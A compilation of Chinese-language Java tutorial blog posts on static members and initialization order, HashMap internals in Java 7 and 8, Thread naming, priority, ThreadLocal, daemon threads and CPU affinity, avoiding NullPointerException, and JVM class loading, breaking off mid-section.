静态变量也叫做static变量，静态变量和非静态变量的区别在于静态变量被所有的对象所共享，在内存中只有一个副本，它当且仅当类初次加载时会被初始化，而非静态变量是对象所拥有的，在创建对象的时候被初始化，存在多个副本，各个对象拥有的副本互不影响 好处：1.可以用类名直接访问(方便),也可以用对象访问(不推荐) 2.只分配一次内存，节省空间

静态方法

静态方法就是不会被this和super的方法。特点：1.在static方法内部不能调用所属类的实例变量和实例方法（非静态方法），但是可以在没有创建任何对象的前提下，仅仅通过类本身(类名)来调用static方法 2.main方法就是static 方法，因为执行main方法的时候，没有创建任何对象，只能通过类名去访问 3.没有显示声明，类的构造器也是静态方法,参考：实例构造器是不是静态方法？
常见的错误Cannot make a static reference to the non-static field 就是静态方法中引用了非静态的的变量，静态变量是不依赖对象而存在的，非静态变量是依赖对象而存在的

示例：非静态方法可以访问静态变量、方法，静态方法是不可以访问非静态变量，方法

package com.mousycoder.staticTest;

public class Test {
    
    private static String str1 = "111";
    
    private String str2 = "ddd";
    
    
    public Test() {
    }
    
    public  void print1() {
        System.out.println(str1);
        System.out.println(str2);
        print1();
    }
    
    
    public static void print2(){
        System.out.println(str1);
        System.out.println(str2);  //报错  Cannot make a static reference to the non-static field
        print1(); //报错
    }

}

静态代码块

由static 关键字修饰的代码块叫做静态代码块，特点：用于提高程序性能，类在初始化的时候，JVM会按照他们在类中出现的顺序加载static 代码块，并且只会执行一遍

示例：只生成一个String s 对象和一个String m 对象

package com.mousycoder.staticTest;

import java.util.Date;
public class HelloStatic {
    
    public static String s ;
    
    public static String m ;
    
    static {
        s = new String("hell");
        m = new String("0");
    }
        String hello() {
            String s = "hell";
            String m = "o";
            return s + m;
        }
        
        public static void main(String[] args) {
            Date start = new Date();
            for (int i = 0; i < 1000000000 ; i++) {
                HelloStatic h = new HelloStatic();
                h.hello();
            }
            Date end = new Date();
            System.out.println(end.getTime() - start.getTime());
        }

}

耗时：12ms 

示例： 生成N个String s和String m对象

package com.mousycoder.staticTest;

import java.util.Date;

public class Hello {
        
        String hello() {
            String s = new String("hell");
            String m = new String("o");
            return s + m;
        }
        
        public static void main(String[] args) {
            Date start = new Date();
            for (int i = 0; i < 1000000000; i++) {
                Hello h = new Hello();
                h.hello();
            }
        
            Date end = new Date();
            System.out.println(end.getTime() - start.getTime());
        }
        
}


所用时间 9645ms

公共的变量应该放到static里初始化，有利于提高效率

静态变量访问权

static 变量是被所有对象共享的，只要该对象有权限，就可以访问该变量

package com.mousycoder.staticTest;

public class Main {

    static int value = 33;
 
    public static void main(String[] args) throws Exception{
        new Main().printValue();
    }
 
    private void printValue(){
        int value = 3;
        System.out.println(this.value);
    }
}

该输出为：33 ,new Main()创建了一个对象，通过this.value是访问的该对象的value 而int value = 3 是局部变量，并不是和该对象相关联的，因为static变量是共享的，所以该对象可以访问到value 值为 33 ，把this 去掉 则结果为 3

静态变量相关面试题

package com.mousycoder.staticTest;

public class Test {
    Person person = new Person("Test");
    static{
        System.out.println("test static");
    }
     
    public Test() {
        System.out.println("test constructor");
    }
     
    public static void main(String[] args) {
        new MyClass();
    }
}
 
class Person{
    static{
        System.out.println("person static");
    }
    public Person(String str) {
        System.out.println("person "+str);
    }
}
 
 
class MyClass extends Test {
    Person person = new Person("MyClass");
    static{
        System.out.println("myclass static");
    }
     
    public MyClass() {
        System.out.println("myclass constructor");
    }
}

顺序是：

test static
myclass static
person static
person Test
test constructor
person MyClass
myclass constructor

执行顺序

test static =>new MyClass() => myclass static => new MyClass() => person static => Person person = new Person("Test") => person Test => Person person = new Person("Test") => test constructro => Person person = new Person("Myclass") => person MyClass => Person person = new Person("MyClass") => myclass contructor

说明：


	执行main方法，实例化MyClass


	发现MyClass 有父类Test，首先实例化Test


	加载Test类，这个时候会执行static方法，打印 test static ,


	然后要实例化MyClass 类，加载MyClass类，执行static方法，打印myclass static


	在所有类按照顺序都加载完毕后，开始一个一个实例化类，先实例化父对象 Test类


	在实例化之前，要先初始化成员变量，这个时候会执行Person p = new Person("Test"),这个时候发现Person类还没有被加载过，因此先加载Person类


	执行Person类的static方法，打印person static 接着实例化Person p = new Person("Test") 调用Person的构造方法，打印person Test


	然后开始调用Test的构造方法,打印test constructor,Test类初始化完毕


	开始实例化Myclass类，首先还是初始化MyClass的成员变量 ,因为Person已经加载过了,所以只执行一遍,只需根据类的模板执行其构造方法，来复制成另外一个副本,此时打印person MyClass


	最后执行Myclass的构造方法，打印myclass constructor




总结：

非静态代码块=>初始化成员变量=>非静态代码块=>构造器方法



感谢您的耐心阅读，如果您发现文章中有一些没表述清楚的，或者是不对的地方，请给我留言，你的鼓励是作者写作最大的动力，
如果您认为本文质量不错，读后觉得收获很大，不妨小额赞助我一下，让我更有动力继续写出高质量的文章。


	支付宝 



	微信 
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原文出处 : http://mousycoder.com/2015/10/12/thinking-of-interview-question-1/

创作时间：2015-7-1

更新时间：2015-10-14


 初探Java8中的HashMap

作者：FullStackDeveloper

来源： 初探Java8中的HashMap



                    
HashMap是我们最常用的集合之一，同时Java8也提升了HashMap的性能。本着学习的原则，在这探讨一下HashMap。


原理


简单讲解下HashMap的原理：HashMap基于Hash算法，我们通过put(key,value)存储，get(key)来获取。当传入key时，HashMap会根据key.hashCode()计算出hash值，根据hash值将value保存在bucket里。当计算出的hash值相同时怎么办呢，我们称之为Hash冲突，HashMap的做法是用链表和红黑树存储相同hash值的value。当Hash冲突的个数比较少时，使用链表，否则使用红黑树。


数据结构


一图胜千言：





我们可以在HashMap的源码中找到这样一句：


transient Node<K,V>[] table;



很明显，HashMap还是凭借数组实现的，辅以链表和红黑树。我们知道数组的特点：寻址容易，插入和删除困难，而链表的特点是：寻址困难，插入和删除容易，红黑树则对插入时间、删除时间和查找时间提供了最好可能的最坏情况担保。HashpMap将这三者结合在一起。


Hash算法


static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}



如果你也看过7之前的Hash算法，会发现这个版本的算法比之前的简洁。


重要的内部类


Node


 static class Node<K,V> implements Map.Entry<K,V> {
        final int hash;
        final K key;
        V value;
        Node<K,V> next;

        Node(int hash, K key, V value, Node<K,V> next) {
            this.hash = hash;
            this.key = key;
            this.value = value;
            this.next = next;
        }

        public final K getKey()        { return key; }
        public final V getValue()      { return value; }
        public final String toString() { return key + "=" + value; }

        public final int hashCode() {
            return Objects.hashCode(key) ^ Objects.hashCode(value);
        }

        public final V setValue(V newValue) {
            V oldValue = value;
            value = newValue;
            return oldValue;
        }

        public final boolean equals(Object o) {
            if (o == this)
                return true;
            if (o instanceof Map.Entry) {
                Map.Entry<?,?> e = (Map.Entry<?,?>)o;
                if (Objects.equals(key, e.getKey()) &&
                    Objects.equals(value, e.getValue()))
                    return true;
            }
            return false;
        }
    }



链表节点，存储键值对，并含有一个next引用。


TreeNode


 static final class TreeNode<K,V> extends LinkedHashMap.Entry<K,V> {
        TreeNode<K,V> parent;  // red-black tree links
        TreeNode<K,V> left;
        TreeNode<K,V> right;
        TreeNode<K,V> prev;    // needed to unlink next upon deletion
        boolean red;
        TreeNode(int hash, K key, V val, Node<K,V> next) {
            super(hash, key, val, next);
        }

        /**
         * Returns root of tree containing this node.
         */
        final TreeNode<K,V> root() {
            for (TreeNode<K,V> r = this, p;;) {
                if ((p = r.parent) == null)
                    return r;
                r = p;
            }
        }

        /**
         * Ensures that the given root is the first node of its bin.
         */
        static <K,V> void moveRootToFront(Node<K,V>[] tab, TreeNode<K,V> root) {
            int n;
            if (root != null && tab != null && (n = tab.length) > 0) {
                int index = (n - 1) & root.hash;
                TreeNode<K,V> first = (TreeNode<K,V>)tab[index];
                if (root != first) {
                    Node<K,V> rn;
                    tab[index] = root;
                    TreeNode<K,V> rp = root.prev;
                    if ((rn = root.next) != null)
                        ((TreeNode<K,V>)rn).prev = rp;
                    if (rp != null)
                        rp.next = rn;
                    if (first != null)
                        first.prev = root;
                    root.next = first;
                    root.prev = null;
                }
                assert checkInvariants(root);
            }
        }



红黑树的节点


重要方法


final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;
            else if (p instanceof TreeNode)
                e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
            else {
                for (int binCount = 0; ; ++binCount) {
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
                        if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                            treeifyBin(tab, hash);
                        break;
                    }
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        break;
                    p = e;
                }
            }
            if (e != null) { // existing mapping for key
                V oldValue = e.value;
                if (!onlyIfAbsent || oldValue == null)
                    e.value = value;
                afterNodeAccess(e);
                return oldValue;
            }
        }
        ++modCount;
        if (++size > threshold)
            resize();
        afterNodeInsertion(evict);
        return null;
    }



这是HashMap中的put函数，里面的参数boolean onlyIfAbsent,boolean evict我并不知道有什么用，因为put在调用的时候，是将这两个参数写死了，若知道请告知：


 public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}



另外我们可以看到，当节点个数>= TREEIFY_THRESHOLD - 1时，HashMap将采用红黑树存储。为什么这么做呢？正如我们前面提到的，当发生Hash冲突时，HashMap首先是采用链表将重复的值串起来，并将最后放入的值置于链首，java8对HashMap进行了优化。当节点个数多了之后使用红黑树存储。这样做的好处是，最坏的情况下即所有的key都Hash冲突，采用链表的话查找时间为O(n),而采用红黑树为O(logn)，这也是Java8中HashMap性能提升的奥秘，详细的测试可以看这篇博文。


总结


这篇文章简单介绍了下Java8中的HashMap中的数据结构，Hash算法，内部类，简单分析了Java8中性能提升的奥秘，由于水平原因难免会出现一些纰漏，希望各位能即时纠正。


 Java线程有哪些不太为人所知的技巧与用法？

作者：Jeremy_Lu

来源： Java线程有哪些不太为人所知的技巧与用法？



                    
转载出处：Java线程的5个使用技巧
英文原文链接


萝卜白菜各有所爱。像我就喜欢Java。学无止境，这也是我喜欢它的一个原因。日常工作中你所用到的工具，通常都有些你从来没有了解过的东西，比方说某个方法或者是一些有趣的用法。比如说线程。没错，就是线程。或者确切说是Thread这个类。当我们在构建高可扩展性系统的时候，通常会面临各种各样的并发编程的问题，不过我们现在所要讲的可能会略有不同。


从本文中你将会看到线程提供的一些不太常用的方法及技术。不管你是初学者还是高级用户或者是Java专家，希望都能看一下哪些是你已经知道的，而哪些是刚了解的。如果你认为关于线程还有什么值得分享给大家的，希望能在下面积极回复。那我们就先开始吧。


初学者


1.线程名


程序中的每个线程都有一个名字，创建线程的时候会给它分配一个简单的Java字符串来作为线程名。默认的名字是"Thread-0", "Thread-1", "Thread-2"等等。现在有趣的事情来了——Thread提供了两种方式来设置线程名：



	
线程构造函数，下面是最简单的一个实现：


class SuchThread extends Thread {

    Public void run() {
        System.out.println ("Hi Mom! " + getName());
    }

}

SuchThread wow = new SuchThread("much-name");




	
线程名setter方法：


wow.setName(“Just another thread name”);






没错，线程名是可变的。因此我们可以在运行时修改它的名字，而不用在初始化的时候就指定好。name字段其实就是一个简单的字符串对象。也就是说它能达到2³¹-1个字符那么长（Integer.MAX_VALUE）。这足够用了。注意这个名字并不是一个唯一性的标识，因此不同的线程也可以拥有同样的线程名。还有一点就是，不要把null用作线程名，否则会抛出异常（当然了，"null"还是可以的）。


使用线程名来调试问题


既然可以设置线程名，那么如果遵循一定的命名规则的话，出了问题的时候排查起来就能更容易一些。“Thread-6″这样的名字看起来就太没心没肺了，肯定有比它更好的名字。在处理用户请求的时候，可以将事务ID追加到线程名后面，这样能显著减少你排查问题的时间。


"pool-1-thread-1" #17 prio=5 os_prio=31 tid=0x00007f9d620c9800
nid=0x6d03 in Object.wait() [0x000000013ebcc000]



“pool-1-thread-1″，这也太严肃了吧。我们来看下这是什么情况，给它起一个好点的名字：


Thread.currentThread().setName(Context + TID + Params + current Time, ...);



现在我们再来运行下jstack，情况便豁然开朗了：


"Queue Processing Thread, MessageID: AB5CAD, type:
AnalyzeGraph, queue: ACTIVE_PROD, Transaction_ID: 5678956,
Start Time: 30/12/2014 17:37" #17 prio=5 os_prio=31 tid=0x00007f9d620c9800
nid=0x6d03 in Object.wait() [0x000000013ebcc000]



如果我们能知道线程在做什么，这样当它出问题的时候，至少可以拿到事务ID来开始排查。你可以回溯这个问题，复现它，然后定位问题并搞定它。如果你想知道jstack有什么给力的用法，可以看下这篇文章。


2. 线程优先级


线程还有一个有意思的属性就是它的优先级。线程的优先级介于1 (MIN_PRIORITY)到10 (MAX_PRIORITY)之间，主线程默认是5（NORM_PRIORITY）。每个新线程都默认继承父线程的优先级，因此如果你没有设置过的话，所有线程的优先级都是5。这个是通常被忽视的属性，我们可以通过getPriority()与setPriority()方法来获取及修改它的值。线程的构造函数里是没有这个功能的。


什么地方会用到优先级？


当然并不是所有的线程都是平等的，有的线程需要立即引起CPU的重视，而有些线程则只是后台任务而已。优先级就是用来把这些告诉给操作系统的线程调度器的。在Takipi中，这是我们开发的一错误跟踪及排查的工具，负责处理用户异常的线程的优先级是MAX_PRIORITY，而那些只是在上报新的部署情况的线程，它们的优先级就要低一些。你可能会觉得优先级高的线程从JVM的线程调度器那得到的时间会多一些。但其实并都是这样的。


在操作系统层面，每一个新线程都会对应一个本地线程，你所设置的Java线程的优先级会被转化成本地线程的优先级，这个在各个平台上是不一样的。在Linux上，你可以打开“-XX:+UseThreadPriorities”选项来启用这项功能。正如前面所说的，线程优先级只是你所提供的一个建议。和Linux本地的优先级相比，Java线程的优先级并不能覆盖全所有的级别（Linux共有1到99个优先级，线程的优先级在是-20到20之间）。最大的好处就是你所设定的优先级能在每个线程获得的CPU时间上有所体现，不过完全依赖于线程优先级的做法是不推荐的。





进阶篇


3.线程本地存储


这个和前面提到的两个略有不同。ThreadLocal是在Thread类之外实现的一个功能（java.lang.ThreadLocal），但它会为每个线程分别存储一份唯一的数据。正如它的名字所说的，它为线程提供了本地存储，也就是说你所创建出来变量对每个线程实例来说都是唯一的。和线程名，线程优先级类似，你可以自定义出一些属性，就好像它们是存储在Thread线程内部一样，是不是觉得酷？不过先别高兴得太早了，有几句丑话得先说在前头。


创建ThreadLocal有两种推荐方式：要么是静态变量，要么是单例实例中的属性，这样可以是非静态的。注意，它的作用域是全局的，只不过对访问它的线程而言好像是本地的而已。在下面这个例子中，ThreadLocal里面存储了一个数据结构，这样我们可以很容易地访问到它：


public static class CriticalData
{
    public int transactionId;
    public int username;
}

public static final ThreadLocal<CriticalData> globalData =
    new ThreadLocal<CriticalData>();



一旦获取到了ThreadLocal对象，就可以通过 globalData.set()和globalData.get()方法来对它进行操作了。


全局变量？这不是什么好事


也尽然。ThreadLocal可以用来存储事务ID。如果代码中出现未捕获异常的时候它就相当有用了。最佳实践是设置一个UncaughtExceptionHandler，这个是Thread类本身就支持的，但是你得自己去实现一下这个接口。一旦执行到了UncaughtExceptionHandler里，就几乎没有任何线索能够知道到底发生了什么事情了。这会儿你能获取到的就只有Thread对象，之前导致异常发生的所有变量都无法再访问了，因为那些栈帧都已经被弹出了。一旦到了UncaughtExceptionHandler里，这个线程就只剩下最后一口气了，唯一能抓住的最后一根稻草就是ThreadLocal。


我们来试下这么做：


System.err.println("Transaction ID " + globalData.get().transactionId);



我们可以将一些与错误相关的有价值的上下文信息给存储到里面添。ThreadLocal还有一个更有创意的用法，就是用它来分配一块特定的内存，这样工作线程可以把它当作缓存来不停地使用。当然了，这有没有用得看你在CPU和内存之间是怎么权衡的了。没错，ThreadLocal需要注意的就是会造成内存空间的浪费。只要线程还活着，那么它就会一直存在，除非你主动释放否则它是不会被回收的。因此如果使用它的话你最好注意一下，尽量保持简单。


4. 用户线程及守护线程


我们再回到Thread类。程序中的每个线程都会有一个状态，要么是用户状态，要么是守护状态。换句话说，要么是前台线程要么是后台线程。主线程默认是用户线程，每个新线程都会从创建它的线程中继承线程状态。因此如果你把一个线程设置成守护线程，那么它所创建的所有线程都会被标记成守护线程。如果程序中的所有线程都是守护线程的话，那么这个进程便会终止。我们可以通过Boolean .setDaemon(true)和.isDaemon()方法来查看及设置线程状态。


什么时候会用到守护线程？


如果进程不必等到某个线程结束才能终止，那么这个线程就可以设置成守护线程。这省掉了正常关闭线程的那些麻烦事，可以立即将线程结束掉。换个角度来说，如果一个正在执行某个操作的线程必须要正确地关闭掉否则就会出现不好的后果的话，那么这个线程就应该是用户线程。通常都是些关键的事务，比方说，数据库录入或者更新，这些操作都是不能中断的。


专家级


5. 处理器亲和性（Processor Affinity）


这里要讲的会更靠近硬件，也就是说，当软件遇上了硬件。处理器亲和性使得你能够将线程或者进程绑定到特定的CPU核上。这意味着只要是某个特定的线程，它就肯定只会在某个特定的CPU核上执行。通常来讲如何绑定是由操作系统的线程调度器根据它自己的逻辑来决定的，它很可能会将我们前面提到的线程优先级也一并考虑进来。


这么做的好处在于CPU缓存。如果某个线程只会在某个核上运行，那么它的数据恰好在缓存里的概率就大大提高了。如果数据正好就在CPU缓存里，那么就没有必要重新再从内存里加载了。你所节省的这几毫秒时间就能用在刀刃上，在这段时间里代码可以马上开始执行，也就能更好地利用所分配给它的CPU时间。当然了，操作系统层面可能会存在某种优化，硬件架构当然也是个很重要的因素，但利用了处理器的亲和性至少能够减小线程切换CPU的机率。


由于这里掺杂着多种因素，处理器亲和性到底对吞吐量有多大的影响，最好还是通过测试的方式来进行证明。也许这个方法并不是总能显著地提升性能，但至少有一个好处就是吞吐量会相对稳定。亲和策略可以细化到非常细的粒度上，这取决于你具体想要什么。高频交易行业便是这一策略最能大显身手的场景之一。


处理器亲和性的测试


Java对处理器的亲和性并没有原生的支持，当然了，故事也还没有就此结束。在Linux上，我们可以通过taskset命令来设置进程的亲和性。假设我们现在有一个Java进程在运行，而我们希望将它绑定到某个特定的CPU上：


taskset -c 1 “java AboutToBePinned”



如果是一个已经在运行了的进程：


taskset -c 1 <PID>



要想深入到线程级别还得再加些代码才行。所幸的是，有一个开源库能完成这样的功能：Java-Thread-Affinity 。这个库是由OpenHFT的Peter Lawrey开发的，实现这一功能最简单直接的方式应该就是使用这个库了。我们通过一个例子来快速看下如何绑定某个线程，关于该库的更多细节请参考它在Github上的文档：


AffinityLock al = AffinityLock.acquireLock();



这样就可以了。关于获取锁的一些更高级的选项——比如说根据不同的策略来选择CPU——在Github上都有详细的说明。


结论


本文我们介绍了关于线程的5点知识：线程名，线程本地存储，优先级，守护线程以及处理器亲和性。希望这能为你日常工作中所用到的内容打开一扇新的窗户，期待你们的反馈！还有什么有关线程处理的方法可以分享给大家的吗，请不吝赐教。
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引言


HashMap在键值对存储中被经常使用，那么它到底是如何实现键值存储的呢？


一 Entry


Entry是Map接口中的一个内部接口，它是实现键值对存储关键。在HashMap中，有Entry的实现类，叫做Entry。Entry类很简单，里面包含key，value，由外部引入的hash，还有指向下一个Entry对象的引用，和数据结构中学的链表中的note节点很类似。


Entry类的属性和构造函数:


javafinal K key;
V value;
Entry<K,V> next;
int hash;

/**
 * Creates new entry.
 */
Entry(int h, K k, V v, Entry<K,V> n) {
    value = v;
    next = n;
    key = k;
    hash = h;
}



二 HashMap的初始化


java//HashMap构造方法
public HashMap(int initialCapacity, float loadFactor) {
    if (initialCapacity < 0)
        throw new IllegalArgumentException("Illegal initial capacity: " +
                                           initialCapacity);
    if (initialCapacity > MAXIMUM_CAPACITY)
        initialCapacity = MAXIMUM_CAPACITY;
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new IllegalArgumentException("Illegal load factor: " +
                                           loadFactor);

    this.loadFactor = loadFactor;
    threshold = initialCapacity;
    init();
}



这是HashMap的构造函数之一，其他构造函数都引用这个构造函数进行初始化。参数InitialCapacity指的是HashMap中table数组最初的大小，参数loadFactory指的是HashMap可容纳键值对与数组长度的比值（举个例子：数组长度默认值为16，loadFactory默认值为0.75，如果HashMap中存储的键值对即Entry多于12，则会进行扩容，扩容后大小为当前数组长度的2倍）。在构造函数中不会对数组进行初始化，只有在put等操作方法内会进行判断是否要初始化或扩容。


三 table数组


在HashMap中有一个概念叫做threshold(实际可容纳量)，实际可容纳量指的是在HashMap中允许存在最多的Entry的个数，它是由HashMap中内置的数组table的长度*load factory(负载因子)得来。其作用是保证HashMap的效率。

table数组是HashMap实现键值对存储的又一关键，具体键值对是怎么存的呢？请看下图





如图中的[key，value]就是Entry对象来实现的，而table数组是用来存放Entry对象的。


java//数组的初始化：
private static int roundUpToPowerOf2(int number) {
    return number >= MAXIMUM_CAPACITY
            ? MAXIMUM_CAPACITY
            : (number > 1) ? Integer.highestOneBit((number - 1) << 1) : 1;
}

private void inflateTable(int toSize) {
    // Find a power of 2 >= toSize
    int capacity = roundUpToPowerOf2(toSize);

    threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
    table = new Entry[capacity];
    initHashSeedAsNeeded(capacity);
}



在put等方法中发现数组未进行初始化时会调用InflateTable方法进行初始化，输入参数为初始设置的InitialCapacity，实际上他会调用roundUpToPowerOf2方法返回一个比初始容量大的最小的2的幂数（其中一个原因是在得到Entry所在数组位置时方便）。


四 put方法


javapublic V put(K key, V value) {
    if (table == EMPTY_TABLE) {
        inflateTable(threshold);
    }
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

private V putForNullKey(V value) {
    for (Entry<K,V> e = table[0]; e != null; e = e.next) {
        if (e.key == null) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }
    modCount++;
    addEntry(0, null, value, 0);
    return null;
}

void addEntry(int hash, K key, V value, int bucketIndex) {
    if ((size >= threshold) && (null != table[bucketIndex])) {
        resize(2 * table.length);
        hash = (null != key) ? hash(key) : 0;
        bucketIndex = indexFor(hash, table.length);
    }

    createEntry(hash, key, value, bucketIndex);
}

void createEntry(int hash, K key, V value, int bucketIndex) {
    Entry<K,V> e = table[bucketIndex];
    table[bucketIndex] = new Entry<>(hash, key, value, e);
    size++;
}




  在put方法中

  1. 首先会判断数组是否为空，如果为空会对数组进行初始化。

  2. 接下来判断key是否为null，如果为null就采用第二个方法对键值对进行put。

  3. 接下来对key进行hash得到一个数值，再对这个数值进行处理（IndexFor方法）得到所在数组中的位置。

  4. 接下来会遍历所在数组位置的链表，如果key的hash和传入key的hash相同且（key内存地址相等 或 equals方法相等），则意味着会更新在链表中的value值，并返回旧的value值。

  5. 如果上边的方法都没有奏效，则会调用第三个方法，创建一个新的Entry对象。





  在putForNullKey方法中，我们看到它是为了NULL值专门设置的，NULL值的hash始终为0，所以key为NULL的Entry对象肯定在数组的第0个位置。同样，如果找到则更新，没有找到则添加。





  调用addEntry方法意味着要往这个数组链表中添加一个Entry，所以会在最开始判断已经存在的Entry数量是否超过了实际可容纳量。如果超过了，则会调用resize方法将数组扩大两倍，注意在扩大之后会对已经存入的Entry进行重排，原因是当初存入时IndexFor方法与数组长度有关系。接着会调用第四个方法。





  createEntry方法很简单，就是将原本在数组中存放的链表头置入到新的Entry之后，将新的Entry放入数组中。从这里我们可以看出HashMap不保证顺序问题。




get方法和contains方法原理和put方法一致，即先通过对key的hash得到其value值所在的链表头在数组中的位置，再通过equals方法判断value是否存在。


五 其他


java//hash方法
final int hash(Object k) {
    int h = hashSeed;
    if (0 != h && k instanceof String) {
        return sun.misc.Hashing.stringHash32((String) k);
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}



hash方法中最终返回值与key的hashCode方法有关。


总结



	最终数组初始化的容量大小会是大于等于你传入初始容量的最小2的幂数。


	key为null或value为null能存入HashMap的原因是对null值会进行单独的操作。


	在table数组中的链表中每个Entry的共同点是key的hash(key.hashCode)部分相同。


	注意对key的hashCode和equals方法的重写当你想让两个key映射一个对象，因为判定key相等的条件是（hashCode相等+（内存相等 或 equals相等））。


	最早存入的键值对会在链表的末端。


	当数组没有链表存在时，HashMap性能最好为O(1)。而最差为O(threshould)。





 Java中避免NullPointerException的一些方法

作者：wangdai

来源： Java中避免NullPointerException的一些方法



                    
在字符串常量上调用equals


java// good
"string literal".equals(strObject)
// not good
strObject.equals("string literal")



如果strOject == null，那下面一种方法就会抛出NullPointerException


用valueOf代替toString


javaBigDecimal bd = getPrice();
// good
String.valueOf(bd);
// not good
bd.toString();



原因类似


使用null-safe的库


如Apache commons中的StringUtils，下面这些方法都不会抛出NullPointerException


javaStringUtils.isEmpty(null); // returns true
StringUtils.isBlank(null); // returns true
StringUtils.isNumeric(null); // returns false
StringUtils.isAllUpperCase(null); // returns false



函数尽量不要返回null，而是返回一个空的对象


Collections辅助类中有静态的EMPTY_LIST EMPTY_SET EMPTY_MAP，可以方便的使用它们


javapublic List<Integer> f() {
    try {
        // ...
        return result;
    } catch (SomeException e) {
        e.printStackTrace();
        return Collections.EMPTY_LIST;
    }
}



使用@NotNull @Nullable的注解


加上了注解，部分IDE会帮你检查你是否没有检查可能为null的对象，或者你是否做了多余的检查。这个注解是JSR 305的一部分。但即使IDE不支持，这也会使代码的可读性变好。


注意加上的注解最好不要产生额外的依赖。java6中有@NotNull但它所在的包似乎并不默认就在JRE中，java8中有@NonNull，如果确定代码不用向下兼容，可以使用java8的@NonNull。


java@NonNull List<String> strList; // A non-null list of Strings.
List<@NonNull String> strList; // A list of non-null Strings. 



避免不必要的自动装箱


java// Integer getPrice();
int price = obj.getPrice();



注意getPrice返回的是Integer而不是int，因此有可能是null。当它是null的时候，赋值给int类型的变量就会抛出NullPointerException。


定义合理的缺省值，以及利用数据库中的not null限制


javapublic class A {
    private List<Integer> intList = new ArrayList<Integer>();
    private String str = "";
}



比如类中的成员都给初始化一个空的对象。以及数据库中not null的字段在java里我们就可以放心大胆的使用基本类型如int而不是Integer了。


实现一个表示null的类


这并不是通用的做法，对特定的业务逻辑比较有用。


有一个很好的例子就是著名JSON解析框架Jackson。以下代码是Jackson从一段JSON中获取其一级子节点lv1下的二级子节点lv2的内容：


javaJsonNode root = ...;
JsonNode child = root.get("lv1").get("lv2");



以上代码很可能遇到lv1不存在的情况，因此第一个get()就会返回null，那么第二个get()执行时自然就抛出NullPointerException了。为了解决这个问题，作者提供了path方法来替代get方法：


javaJsonNode root = ...;
JsonNode child = root.path("lv1").path("lv2");



当lv1不存在时，path()返回一个JsonNode的子类叫做MissingNode（但客户端暂时无需知道），MissingNode的path方法则继续返回MissingNode，这样无论这个链式调用写多长都不会抛出任何异常。


直到最后客户端调用完成后检查返回结果是否为MissingNode：


javaif (child.isMissingNode()) { ... }



本文参考


http://javarevisited.blogspot.sg/2013/05/ava-tips-and-best-practices-to-avoid-nullpointerexception-program-application.html
http://segmentfault.com/q/1010000000114775
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引言


我们知道java代码编译后生成的是字节码，那虚拟机是如何加载这些class字节码文件的呢？加载之后又是如何进行方法调用的呢？


一 类文件结构


无关性基石


java有一个口号叫做一次编写，到处运行。实现这个口号的就是可以运行在不同平台上的虚拟机和与平台无关的字节码。这里要注意的是，虚拟机也是中立的，只要是符合规范的字节码，都可以被虚拟机接受，例如Groovy，JRuby等语言，都会生成符合规范的字节码，然后被虚拟机所运行，虚拟机不关心字节码由哪种语言生成。


类文件结构


class类文件是一组以8位字节为基础的二进制流，它包含以下几个部分：



  魔数和class文件版本：类文件开头的四个字节被定义为CAFEBABE，只有开头为CAFEBABE的文件才可以被虚拟机接受，接下来四个字节为class文件的版本号，高版本JDK可以兼容以前版本的class文件，但不能运行以后版本的class文件。
常量池：可以理解为class文件中的资源仓库，它包含两大类常量：字面量和符号引用，字面量包含文本字符串，声明为final的常量值等，符号引用包含类和接口的全限定名，字段的名称和描述符，方法的名称和描述符。
访问标志：常量池结束后，紧接着两个字节表示访问标志，用于识别一些类或接口层次的访问信息，例如是否是public，是否是static等。
类索引，父类索引，和接口索引集合：类索引用来确定这个类的全限定名，父类为父类的全限定名，接口索引集合为接口的全限定名。
字段表集合：用于描述接口或者类中声明的变量，但不包含方法中的变量。
方法表集合：用于表述接口或者类中的方法。
属性表集合：class文件，字段表，方法表中的属性都源自这里。




二  类加载机制


虚拟机把描述类的数据从class文件加载到内存，并对数据进行校验，转换分析和初始化，最终形成可以被虚拟节直接使用的JAVA类型，这就是虚拟机的类加载机制。



类从被加载到虚拟机内存到卸载出内存的生命周期包括：加载->连接(验证->准备->解析)->初始化->使用->卸载。


初始化的5种情况：



  
	使用new关键字实例化对象时，读取或设置一个类的静态字段，除被final修饰经编译结果放在常量池的静态字段，调用类的静态方法时。

  	使用java.lang.reflect包方法对类进行反射调用时。（Class.forName()）。

  	初始化子类时，如果父类没有初始化。

  	虚拟机启动时main方法所在的类。

  	当使用JDK1.7动态语言支持时，java.lang.invoke.MethodHandle实例解析结果为REF_getStatic,REF_putStatic,REF_invokeStatic的方法句柄，且对应类没有进行初始化。

  




类加载过程



  加载

  加载是类加载的第一个阶段，虚拟机要完成以下三个过程：

  
  
    
	通过类的全限定名获取定义此类的二进制字节流。

    	将字节流的存储结构转化为方法区的运行时结构。

    	在内存中生成一个代表该类的Class对象，作为方法区各种数据的访问入口。

    







  验证

